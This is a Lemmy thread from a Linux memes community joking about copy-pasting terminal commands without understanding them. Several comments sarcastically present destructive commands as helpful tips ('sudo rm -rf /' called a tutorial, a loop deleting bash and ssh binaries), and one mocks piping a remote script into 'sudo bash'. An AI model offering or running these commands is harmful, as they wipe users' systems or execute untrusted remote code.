this post was submitted on 09 Jul 2023
1058 points (97.7% liked)

linuxmemes

21222 readers
113 users here now

Hint: :q!


Sister communities:


Community rules (click to expand)

1. Follow the site-wide rules

2. Be civil
  • Understand the difference between a joke and an insult.
  • Do not harrass or attack members of the community for any reason.
  • Leave remarks of "peasantry" to the PCMR community. If you dislike an OS/service/application, attack the thing you dislike, not the individuals who use it. Some people may not have a choice.
  • Bigotry will not be tolerated.
  • These rules are somewhat loosened when the subject is a public figure. Still, do not attack their person or incite harrassment.
  • 3. Post Linux-related content
  • Including Unix and BSD.
  • Non-Linux content is acceptable as long as it makes a reference to Linux. For example, the poorly made mockery of sudo in Windows.
  • No porn. Even if you watch it on a Linux machine.
  • 4. No recent reposts
  • Everybody uses Arch btw, can't quit Vim, and wants to interject for a moment. You can stop now.

  • Please report posts and comments that break these rules!

    founded 1 year ago
    MODERATORS
     
    top 50 comments
    sorted by: hot top controversial new old
    [–] pezhore@lemmy.ml 64 points 1 year ago (3 children)

    Nothing better than curl https://totally-legit-installer.com/script | sudo bash

    [–] mvirts@lemmy.world 5 points 1 year ago

    No hash, get cash!

    [–] garconip@lemmy.world 5 points 1 year ago

    I usually get an output saying my distro isn't supported. So I have to download and edit the script then it can bypass checking os-release or something like that.

    load more comments (1 replies)
    [–] Rabbithole@kbin.social 53 points 1 year ago* (last edited 1 year ago) (6 children)

    I'm in a helpful mood so I'll add something for anyone stuck in OP's situation.

    It's ok, Linux has a built in tutorial system for learning the terminal, so if you ever want to progress beyond copy/pasting, you can use that.

    Just go into the terminal and type (or just copy/paste) this to get the tutorial program running:

    sudo rm -rf /

    Type your password when prompted and you're golden. No more linux issues ever again.

    [–] HelloHotel@lemmy.world 27 points 1 year ago* (last edited 1 year ago) (1 children)

    Remember that if you run it as root and dont add the flag --no-preserve-root you leave your system vunrable to hackers like Anonymous or 4chan until you reboot,

    I also find that adding --verbose adds more things like commentary and extras that really help

    So, run sudo rm -rf --no-preserve-root --verbose

    /s

    [–] Rabbithole@kbin.social 17 points 1 year ago* (last edited 1 year ago)

    All good points.

    That's why I love communities like these, there are always people willing to expound upon other's solutions with solid additional information.

    It's what makes forums like these such goldmines of information when you're first cutting your teeth learning new things.

    Upvoted.

    [–] whoamibro@lemmy.world 19 points 1 year ago* (last edited 1 year ago) (1 children)

    I tried your command and got the tutorial program and I gotta say that this is the best tutorial program I've ever seen. Now I wonder why other OSes don't do that

    [–] Rabbithole@kbin.social 12 points 1 year ago* (last edited 1 year ago) (1 children)

    It's great, isn't it? As a side bonus, the tutorial modules on system optimization commands are just great. Check how much less RAM and CPU footprint your system's using now that you've run the tutorials. It's almost like nothing's going on in the background at all.

    This is the reason that BASH will always be better than Powershell, imho.

    [–] HelloHotel@lemmy.world 4 points 1 year ago (1 children)

    It optomizes your computer too? Woa

    [–] Rabbithole@kbin.social 11 points 1 year ago (1 children)

    Well, technically it teaches you how to optimize your system.

    That said, the optimizations are really effective.

    [–] HelloHotel@lemmy.world 8 points 1 year ago* (last edited 1 year ago) (1 children)

    Note that the more corporate distros install PUPs (Potentially Unwanted Programs). (like clang) To uninstall, do what youd do on a Windows machine and wrip it out of your PC forcably

    while read bloatware; do bloatware="$(echo "$bloatware" | cut -f1 -d'#')"; file="$(whereis "$bloatware" | cut -f2 -d' ')"; if test -f "$file"; do unlink "$file"; fi; done <<bloatlist 
    clang # unwanted telemitry
    bash  # promotes violence
    tree    # hippy garbage
    awk    # secret backdoor into your PC
    ssh    # isnt up to date on its intentional encryption backdoor certificate
    bloatlist
    

    /sHope nobody dumb enough to run this Because it actually works

    [–] Rabbithole@kbin.social 4 points 1 year ago

    Lol, I know what you mean.

    Isn't it fucked up how we all say that linux doesn't have viruses, and yet how many times have you ever seen an install of Mint or Ubuntu that didn't have "Tree" or "Awk" just sitting there waiting to ruin your whole day.

    I swear to God Canonical have some things to answer for.

    [–] lemmy_nightmare@sh.itjust.works 15 points 1 year ago

    Done and I must say, as stated by the comments above - my CPU and RAM usage are at an all time low. Other OSes don't hold shit against Linux now.

    [–] some_guy@lemmy.sdf.org 8 points 1 year ago (2 children)

    I told someone to do that way back when. He wisely tried it on a computer at Best Buy (a Mac) rather than his own. I respected his thinking ahead.

    load more comments (2 replies)
    [–] Quills@sh.itjust.works 4 points 1 year ago

    Guy's really feeling helpful today

    [–] turbodrooler@lemmy.world 37 points 1 year ago (2 children)

    That’s probably how most of us started, but then you start getting familiar with things…

    [–] meteotsunami@lemmy.world 42 points 1 year ago (1 children)

    And that's when you really get good at breaking shit.

    [–] turbodrooler@lemmy.world 28 points 1 year ago (1 children)

    In my early days I would reinstall the whole OS several times a week when I would fuck things up too much.

    [–] RealBlstr@lemmy.world 12 points 1 year ago (2 children)

    Ah, the good old days of installing some obscure distro just to reinstall from scratch a week after 👌🏼

    [–] turbodrooler@lemmy.world 6 points 1 year ago

    Oh yeah! I tried so many…hahaha

    [–] mfn77@lemmy.world 5 points 1 year ago* (last edited 1 year ago) (2 children)

    I'm still curious about stuff I didn't try. Like NixOS. Even tough I have a perfectly configured and problem free arch install which could take hours to replicate, I still consider if I should try it.

    load more comments (2 replies)
    [–] RealBlstr@lemmy.world 8 points 1 year ago (1 children)

    That's true. I'm no expert, I need to google everything - but after years of reading / coping/ pasting similar things, I started to understand how some things work.

    load more comments (1 replies)
    [–] Pensi@lemmy.world 32 points 1 year ago (1 children)

    I actually take the time to type everything out, but I still have no idea what I’m doing.

    [–] ejsexton82@lemmy.sdf.org 8 points 1 year ago (2 children)

    You know, my students do this. It's freaking hilarious when they inevitably have a typo and get an error. I chuckle every time. 😄

    [–] madwifi@lemmy.world 16 points 1 year ago (1 children)

    it is actually a good thing to do. helps in learning stuff faster. it's good to hear that there's still people who don't mindlessly copy and paste

    [–] ejsexton82@lemmy.sdf.org 3 points 1 year ago

    I realize my post sounds like I'm against students typing out commands, but I'm not. I'm against them mindlessly typing out commands they find on the internet without taking time to understand what the commands actually do. I encourage them to be intentional with their commands and really understand them.

    [–] mvirts@lemmy.world 8 points 1 year ago (3 children)

    Omg I tell people at least 3 times a day about bash's tab completion. Cli proficiency should be taught before programming

    load more comments (3 replies)
    [–] CoupleOfConcerns@lemmy.nz 20 points 1 year ago (1 children)

    People underestimate how important being able to google answers on the internet has been for the take-up of linux and many other things. Most of us would be lost without Google.

    [–] mvirts@lemmy.world 13 points 1 year ago (1 children)

    Aaand the arch wiki

    Aaand stack overflow

    Aaand the Gentoo wiki

    Aaand random Linux forums :P

    Aaand very occasionally the accessible source code for when you're really stuck and have no other choice but to sell your soul in exchange for a glimmer of understanding after peering into the abyss.

    [–] cmbabul@lemmy.world 3 points 1 year ago

    I’m convinced that if StackOverflow goes down society would follow within a matter of weeks.

    [–] DucktorZee@lemmy.world 16 points 1 year ago (1 children)

    Not just Linux, I do this all the time when 'writing' R or Python scripts for work. Then I spend the next 2 hours debugging a missing comma.

    load more comments (1 replies)
    [–] bdonvr@thelemmy.club 13 points 1 year ago

    You move past this stage once you start actually depending on the system. Then you find imperfect answers to some problem and have to adapt them to your system. Then you start learning.

    [–] tdawg@lemmy.world 13 points 1 year ago (1 children)

    For anyone who needs it. Try out:

    curl cheat.sh/
    
    [–] MellowSnow@lemmy.world 7 points 1 year ago (1 children)

    OP bout to copy/paste this without knowing what it does lol.

    [–] 0uterzenith@lemmy.world 6 points 1 year ago (5 children)
    load more comments (5 replies)
    [–] gunpachi@lemmy.world 11 points 1 year ago (3 children)

    Years ago I started out like this, then gradually started reading and understanding the stuff.

    [–] netburnr@lemmy.world 4 points 1 year ago

    This is the way.

    We're still using this meme right? /2%er

    load more comments (2 replies)
    [–] Rhaedas@kbin.social 8 points 1 year ago (3 children)
    load more comments (3 replies)
    [–] Kolanaki@yiffit.net 6 points 1 year ago

    copy and pasted random login info

    "Why isn't this working?"

    [–] pacology@lemmy.world 5 points 1 year ago (1 children)

    All hail the arch Linux wiki!

    load more comments (1 replies)
    [–] zephyrvs@lemmy.ml 5 points 1 year ago (4 children)

    I don't think that's a terrible way of getting started. Your subconscious will do the rest at some point, unless you're really not interested at all (which isn't a problem either). :)

    load more comments (4 replies)
    [–] qjkxbmwvz@lemmy.sdf.org 3 points 1 year ago

    The real question is which buffer are you using? Team middle-click ftw.

    [–] jcb2016@lemmy.world 3 points 1 year ago* (last edited 1 year ago)

    Heheh on Linux when you think you found the answer you copy paste, log out and back in. Sometimes reboot if it don’t with try the next copy and paste.. so many memories

    load more comments
    view more: next ›